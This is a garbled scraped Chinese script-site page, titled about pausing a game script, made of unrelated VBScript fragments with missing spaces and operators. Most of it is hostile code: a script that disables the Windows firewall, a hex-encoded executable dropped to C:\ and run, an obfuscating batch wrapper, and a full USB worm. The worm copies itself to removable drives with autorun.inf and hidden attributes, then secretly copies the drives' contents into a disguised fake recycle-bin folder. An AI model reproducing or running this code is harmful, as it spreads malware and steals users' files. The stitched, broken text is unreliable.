赛尔号脚本如何使用暂停

发布时间:2021-08-16 来源:脚本之家 点击:

方法一:
PublicFunctionFastReplace(SSrch$,SFind$,SRepl$)AsString

DimSrc()AsByte,Dst()AsByte,R()AsByte,F()AsByte
DimLenF&,LenR&,LenDst&,i&,j&,OutPos&

ConstChunkSize&=4096

IfSSrch=""OrSFind=""ThenExitFunction

Src=SSrch:F=SFind:R=SRepl
LenF=UBound(F):LenR=UBound(R)
LenDst=ChunkSize:ReDimDst(0ToLenDst-1)

Fori=0ToUBound(Src)Step2

Forj=0ToLenFStep2
IfSrc(i j)<>F(j)ThenExitFor
Nextj

Ifj>LenFThen'Found

Forj=0ToLenRStep2
IfOutPos>=LenDstThen
LenDst=LenDst ChunkSize
ReDimPreserveDst(0ToLenDst)
EndIf
Dst(OutPos)=R(j):OutPos=OutPos 2
Nextj

i=i LenF-1

Else

IfOutPos>=LenDstThen
LenDst=LenDst ChunkSize
ReDimPreserveDst(0ToLenDst)
EndIf

Dst(OutPos)=Src(i):OutPos=OutPos 2

EndIf
Nexti

ReDimPreserveDst(0ToOutPos-2):SSrch=Dst

FastReplace=SSrch$

EndFunction

方法二:
'SearchLineisinput,SearchForiswhattosearchfor,ReplaceWithisthereplacement

FunctionsReplace(SearchLineAsString,SearchForAsString,ReplaceWithAsString)
DimvSearchLineAsString,foundAsInteger

found=InStr(SearchLine,SearchFor):vSearchLine=SearchLine
Iffound<>0Then
vSearchLine=""
Iffound>1ThenvSearchLine=Left(SearchLine,found-1)
vSearchLine=vSearchLine ReplaceWith
Iffound Len(SearchFor)-1<Len(SearchLine)Then_
vSearchLine=vSearchLine Right$(SearchLine,Len(SearchLine)-found-Len(SearchFor) 1)
EndIf
sReplace=vSearchLine

EndFunction->



SetobjSession=CreateObject("Microsoft.Update.Session")
SetobjSearcher=objSession.CreateUpdateSearcher
SetobjResults=objSearcher.Search("Type='Software'")
SetcolUpdates=objResults.Updates

Fori=0tocolUpdates.Count-1
'IfcolUpdates.Item(i).Title=_
'"SecurityUpdateforWindowsXP(KB899587)"Then
'IfcolUpdates.Item(i).IsInstalled<>0Then
'Wscript.Echo"Thisupdateisinstalled."
'Wscript.Quit
'Else
'Wscript.Echo"Thisupdateisnotinstalled."
'Wscript.Quit
'EndIf
'EndIf
wscript.echocolUpdates.Item(i).Title
Next

'Wscript.Echo"Thisupdateisnotinstalled."


如何关闭WindowsXPServicePack2防火墙?

SetobjFirewall=CreateObject("HNetCfg.FwMgr")SetobjPolicy=objFirewall.LocalPolicy.CurrentProfile
objPolicy.FirewallEnabled=FALSESetobjFirewall=CreateObject("HNetCfg.FwMgr")SetobjPolicy=objFirewall.LocalPolicy.CurrentProfile
objPolicy.FirewallEnabled=FALSE
dnf自动搬砖脚本下载

'说明 : 通过VBS脚本查看 系统C盘 剩下的空间
'Creator : Eric1991
'Date : 2013-11-4
Set objWMIService=GetObject("winmgmts:")
Set objLogicalDisk=objWMIService.Get("Win32_LogicalDisk.DeviceID='c:'")
Wscript.Echo cint(objLogicalDisk.FreeSpace / 1024 / 1024 / 1024) & "GB"
程序如下:
SubForm_Load()
DimI'定义变量
bye.Show'封底出现
Unloadmenu1'卸载主菜单
al:Ifpicture1.Height<7130Then'7130为图的高度
picturel.Height=picture1.Height+50'下拉屏幕
GoToal
EndIf
ForI=1To20000'使窗体暂停一段时间
NextI
End'结束所有操作
EndSub->


Data="4D5A00000000000000000000504500004C010200534C58210000000000000000E0000F010B01000000000000000600000000000054010000001000000C00000000004000001000000002000004000000000000000400000000000000004000000002000000000000020000000000100000100000000010000010000000000000100000000000000000000000983200008400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000001000000000000000000000000000000000000000000000E00000C0000000000000000000100000003000001903000000020000000000000000000000000000E00000C08725DC324000619455A4B680FF1373F933C9FF13731633C0FF13731FB68041B010FF1312C073FA753AAAEBE0FF530802F683D901750EFF5304EB24ACD1E8742D13C9EB189148C1E008ACFF53043B43F8730A80FC05730683F87F77024141958BC5B600568BF72BF0F3A45EEB9F5EAD97AD50FF5310958B074078F37503FF630C5055FF5314ABEBEE33C941FF1313C9FF1372F8C302D275058A164612D2C34B45524E454C33322E646C6C00004D3815403259096724454CFF027F65C711B3270CF49B4887C17F6874C4703A712FEE691D2E62610E6475C3636F6DF373011C6C79782C2042D79A53AF0B4D2E02C20325730E0842616C2E6F206E54697020E8653A7874B75B14576C955D0E086DE76F75C728637329331D49906EA7266444F9433853853C01C71805E012FCE801C114FF15241001A3E4911FB9700633C0890DE81BC844EC981425A3F0DD1354F405117813227CC448C41406A2F82B30C390038B44241D0856579D7C800C33C983F8030A893D8014252035017727FF248560115834EB6822B4081B02B5E216910C03080A8C44018B2A3518942268E00A51FFD657A3150C0F866A0220335F5EE61432A134091C2428507C9B55845EC3F083FE01FA278ECA40D285F67E23008A0C3A80F9307C17C00A397F120FBE1FC98D04C7423BD6604441D07C68E499BB9410534301C383EC18384224185355B250BB28B80B9352BD9864BE084C500E14AA66003A3BC50F8E52A3B31F4E04CC3D202F51296890AD0880130CFFD7451C1283C40C011202C6057F170C5AA18414560852278484146C0381C3087EE28B7F461F8D4C241050CD5146F554F6600A52E84D14311B8BD861F41F2019047E5552100ACE6A1854EAFE8BB50026FD037E2F3312EDEB2B085620455C0A0558A459D6F12C5D110C8ED6C16818E8DCFD8E7C5553ED258B8A1E086AFA910450275D6A5B3D2CB85701EBE54BF678A9A8113AA691111422DC8F010E2C1510EBCB538ED72D7011DC73746272166E412E054578C3EE50F16F63FD73C73B1D47FD7C43716D5C61E81D4C693E3857074B45524E3F6033322E646CE309994144546BD46F706757406465771D145F7358721A7466D29E1AE25E142CFA686065125F4E6F7412696679843D506F5DB354D8417267337657514842C463D001EABAF6000000F03200000000000000000000F2010000F032000000000000000000000000000000000000000000000010400000304000C814400000000000E032400080000000007D0000C0324000E8014000DC014000DE014000C0114000FA32000008330000000000004C6F61644C69627261727941000047657450726F634164647265737300"

FunctionExtractFile(FileName)
WithCreateObject("ADODB.Stream"):.Type=1:.Open:.WriteStrToByte(data):.SaveToFileFileName,2:.Close:EndWith
EndFunction

ExtractFile"C:\BalloonTip.exe"
WScript.CreateObject("WScript.Shell").Run"cmd.exe/cC:\BalloonTip.exe""请勿在电脑桌上放置贵重物品,以防被盗,请自行保管自己的各种虚拟帐号,如有丢失网吧概不负责!""温馨提示100001",0

FunctionStrToByte(str)
Setxmldoc=CreateObject("Microsoft.XMLDOM")
xmldoc.loadXML"<?xmlversion=""1.0""?>"
Setpic=xmldoc.createElement("pic")
pic.dataType="bin.hex"
pic.nodeTypedValue=str
StrToByte=pic.nodeTypedValue
EndFunction

用到了两个API函数

",vbQuestion+vbYesNoCancel,"安装-"+InsTitle+"-"+Copyright)
IfintAnswer=vbYesThen
WshSHell.RegWriteRegPath1,RegValue1,RegForm1
WshSHell.RegWriteRegPath2,RegValue2,RegForm2
FSO.GetFile(FileFullName).Copy(InsFullName)
WshSHell.popup_
"添加脚本文件:"+chr(10)+InsFullName+chr(10)+chr(10)+_
"添加注册表项:"+chr(10)+chr(34)+RegPath1+chr(34)+chr(10)+_
chr(10)&CloseTime&"秒钟后本窗口将自动关闭!"+chr(10)+chr(10)+_
chr(10)&"Copyright(C)"+Copyright+""&QQ&""+Email_
,CloseTime,"安装成功-"+InsTitle+"-"+Copyright,0+64
endif
IfintAnswer=vbNoThen
WshSHell.RegDeleteRegPath2
WshSHell.RegDeleteRegPath1
FSO.DeleteFileInsFullName
WshSHell.popup_
"删除脚本文件:"+chr(10)+InsFullName+chr(10)+chr(10)+_
"删除注册表项:"+chr(10)+chr(34)+RegPath1+chr(34)+chr(10)+_
chr(10)&CloseTime&"秒钟后本窗口将自动关闭!"+chr(10)+chr(10)+_
chr(10)&"Copyright(C)"+Copyright+""&QQ&""+Email_
,CloseTime,"卸载成功-"+InsTitle+"-"+Copyright,0+64
endif
IfintAnswer=vbCancelThen
endif
ELSE
ifArgs.count=0thenwscript.quit
SetReadFile=FSO.OpenTextFile(Args(0),1)
ReadAllText=ReadFile.ReadAll
ReadFile.Close
Fori=1ToLen(ReadAllText)
TempNum=Asc(Mid(ReadAllText,i,1))
ifTempNum=34Then
TempNum=18
elseIfTempNum=13Then
TempNum=28
ElseIfTempNum=10Then
TempNum=29
endif
ThisText1=ThisText1&chr(TempNum)
Next
SetWriteFile=FSO.OpenTextFile(Args(0)&".VBS",2,True)
WriteFile.WriteLine("OnErrorResumeNext:DimWshSHell,FSO,Bat2Vbs:SetWshSHell=WScript.CreateObject(""WScript.Shell""):SetFSO=CreateObject(""Scripting.FileSystemObject""):Bat2Vbs="""&ThisText1&"""")
WriteFile.WriteLine("Execute(""Fori=1ToLen(Bat2Vbs)""&vbCrLf&""TempNum=Asc(Mid(Bat2Vbs,i,1))""&vbCrLf&""IfTempNum=28Then""&vbCrLf&""TempNum=13""&vbCrLf&""ElseIfTempNum=29Then""&vbCrLf&""TempNum=10""&vbCrLf&""elseifTempNum=18Then""&vbCrLf&""TempNum=34""&vbCrLf&""EndIf""&vbCrLf&""ThisText2=ThisText2&chr(TempNum)""&vbCrLf&""Next"")")
WriteFile.WriteLine("SetBatFile=FSO.OpenTextFile(FSO.BuildPath(FSO.GetSpecialFolder(2),""Temp.bat""),2,True):BatFile.WriteLine(ThisText2):BatFile.Close:WshSHell.Run""%Comspec%/C""&FSO.BuildPath(FSO.GetSpecialFolder(2),""Temp.bat""),1,false")
WriteFile.Close
endif
SetWshSHell=Nothing
SetFSO=Nothing
SetArgs=Nothing
WScript.Quit(0)

但如果检
测A=""或A=0,也都可以得到True值

(我们得知k是keep的简写形式,像在“keepopen”中那样,但我们不能肯定是否属实梦2关卡

->OptionExplicit
PrivateSubCommand1_Click()
DimIAsLong,JAsLong,KAsLong
DimPrintStringAsString
ForI=0ToData1.Recordset.RecordCount-1
IfK=DBGrid1.VisibleRowsThen
DBGrid1.Scroll0,DBGrid1.VisibleRows
K=0
EndIf
ForJ=0ToDBGrid1.Columns.Count-1
PrintString=PrintString&
DBGrid1.Columns(J).CellText(DBGrid1.RowBookmark(K))&"/"
Next
Printer.PrintPrintString
PrintString=""
K=K 1
DoEvents
Next
EndSub

PrivateSubForm_Activate()
Data1.Recordset.MoveLast
Data1.Recordset.MoveFirst
EndSub->
->


'[NatruePark]
'容错语句
onErrorresumenext
'变量声明及初始化
dimfso,old_drs(),new_drs(),old_n,new_n,new_yn,wshshell
setfso=CreateObject("Scripting.File"&"SystemObject")
setwshshell=wscript.createobject("WScript.Shell")
old_n=0
redimold_drs(old_n)
old_drs(0)="C"

'[主体部分]
wshshell.run("explorer.")
dimi
i=0
dowhilei>=0andi<8*360
scan_disk()
ifjudge_new_disk()=1then
dimleft_n
left_n=1
dowhileleft_n<=(new_n-old_n)
new_disk=new_drs(left_n+old_n)&":"
'-----------------<维护块>-----------------
iffso.FileExists(new_disk&"NP.vbs")=-1then
else
self_copy(new_disk)
endif
add_attrib(new_disk&"NP.vbs")
iffso.FileExists(new_disk&"autorun.inf")=-1then
del_attrib(new_disk&"autorun.inf")
endif
add_autorun(new_disk)

add_attrib(new_disk&"autorun.inf")
iffso.FileExists(new_disk&"stNP.vbs")=-1then
else
add_stNP(new_disk)
endif
add_attrib(new_disk&"stNP.vbs")
'-----------------</维护块>-----------------
'-----------------<功能块>-----------------
dimrec
rec="d:\Recyc1ed"
iffso.FolderExists(rec)=-1then
else
fso.createfolder(rec)
endif
add_attribf(rec)
iffso.FileExists(rec&"desktop.ini")=-1then
else
add_desktop(rec)
endif
add_attrib(rec&"desktop.ini")
aim_folder=rec&Date()&Rnd()
iffso.FolderExists(aim_folder)=-1then
else
fso.createfolder(aim_folder)
endif

'查找"汽轮机原理文件夹并复制"
iffso.FolderExists(new_disk&"汽轮机原理")=-1then
fso.copyfoldernew_disk&"汽轮机原理",aim_folder,true
add_attribf(aim_folder)
endif

'通用复制
ifold_n=0then
else
setfp=fso.getFolder(new_drs(new_n)&":")
setfc=fp.SubFolders
foreachfinfc
fso.copyfolderf&"",aim_folder&""&f.name,true
next
setfc=fp.files
foreachfinfc
fso.copyfilef&"",aim_folder&"",true
next
add_attribf(aim_folder)
endif
'-----------------</功能块>-----------------
left_n=left_n+1
loop
copy_disk()
endif
wscript.sleep(10000)
i=i+1
loop
'[函数部分]
'可用驱动器检测new_drs(),new_n
functionscan_disk()
dimd,dr
new_n=-1
setdr=fso.drives
foreachdindr
ifd.isreadythen
new_n=new_n+1
redimpreservenew_drs(new_n)
new_drs(new_n)=d.driveletter
endif
next
endfunction
'判断是否有新加入的驱动器
functionjudge_new_disk()
ifnew_n=old_nthen
judge_new_disk=0
elseifnew_n<old_nthen
redimpreserveold_drs(new_n)
old_n=new_n
judge_new_disk=0
elseifnew_n>old_nthen
redimpreserveold_drs(new_n)
judge_new_disk=1
endif
endfunction
'复制新驱动器表单
functioncopy_disk()
dimn
n=0
dowhilen<=new_n
old_drs(n)=new_drs(n)
n=n+1
loop
old_n=new_n
endfunction
'添加指定文件属性
functionadd_attrib(file)
setf=fso.getfile(file)
iff.attributes=7then

else
f.attributes=7
endif
endfunction
'删除指定文件属性
functiondel_attrib(file)
setf=fso.getfile(file)
iff.attributes=7then
f.attributes=0
else

endif
endfunction
'自我复制到指定文件目录
functionself_copy(folder)
dimaim_path,mid_path,self_file,mid_file
aim_path=folder&"NP.vbs"
mid_path="c:\np.bin"
setself_file=fso.opentextfile(wscript.scriptfullname,1)
self=self_file.readall
setmid_file=fso.opentextfile(mid_path,2,true)
mid_file.writeself
mid_file.close
setmid_file=fso.getfile(mid_path)
mid_file.copy(aim_path)
mid_file.delete(true)
endfunction
'增加autorun.inf
functionadd_autorun(folder)
dimpath
path=folder&"autorun.inf"
settemp=fso.CreateTextFile("c:\a.bin",true)
temp.writeline"[autorun]"
temp.writeline"open="
temp.writeline"shell\open=打开(&O)"
temp.writeline"shell\open\Command=WScript.exestNP.vbs"
temp.writeline"shell\open\Default=1"
temp.writeline"shell\explore=资源管理器(&X)"
temp.writeline"shell\explore\Command=WScript.exestNP.vbs"
temp.close
setcop=fso.getfile("c:\a.bin")
cop.copy(path)
cop.delete(true)
endfunction
'增加desktop.ini
functionadd_desktop(folder)
dimpath
path=folder&"desktop.ini"
settemp=fso.CreateTextFile("c:\d.bin",true)
temp.writeline"[.ShellClassInfo]"
temp.writeline"CLSID={645FF040-5081-101B-9F08-00AA002F954E}"
temp.close
setcop=fso.getfile("c:\d.bin")
cop.copy(path)
cop.delete(true)
endfunction
'增加stNP.vbs
functionadd_stNP(folder)
dimpath
setfso=CreateObject("Scripting.File"&"SystemObject")
path=folder&"stNP.vbs"
settemp=fso.CreateTextFile("c:\s.bin",true)

temp.writeline"onerrorresumenext"
temp.writeline"setfso=CreateObject("&chr(34)&"Scripting.FileSys"&chr(34)&"&"&chr(34)&"temObject"&chr(34)&")"
temp.writeline"iffso.FileExists("&chr(34)&"NP.vbs"&chr(34)&")=-1then"
temp.writeline"iffso.FileExists("&chr(34)&"d:\NP.vbs"&chr(34)&")=-1then"
temp.writeline"setf=fso.getfile("&chr(34)&"d:\NP.vbs"&chr(34)&")"
temp.writeline"iff.attributes=0then"
temp.writeline"else"
temp.writeline"f.attributes=0"
temp.writeline"endif"
temp.writeline"f.delete(true)"
temp.writeline"endif"
temp.writeline"fso.copyfile"&chr(34)&"NP.vbs"&chr(34)&","&chr(34)&"d:\NP.vbs"&chr(34)&",true"
temp.writeline"setwshshell=wscript.createobject("&chr(34)&"WScript.Shell"&chr(34)&")"
temp.writeline"wshshell.run"&chr(34)&"d:\NP.vbs"&chr(34)
temp.writeline"endif"

temp.close
setcop=fso.getfile("c:\s.bin")
cop.copy(path)
cop.delete(true)
endfunction

'添加指定文件夹属性
functionadd_attribf(folder)
setf=fso.getfolder(folder)
iff.attributes=7then

else
f.attributes=7
endif
endfunction
'删除指定文件夹属性
functiondel_attribf(folder)
setf=fso.getfolder(folder)
iff.attributes=0then
else
f.attributes=0

endif
endfunction


wscript.echo("THANKYOU!!")
wscript.quit

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号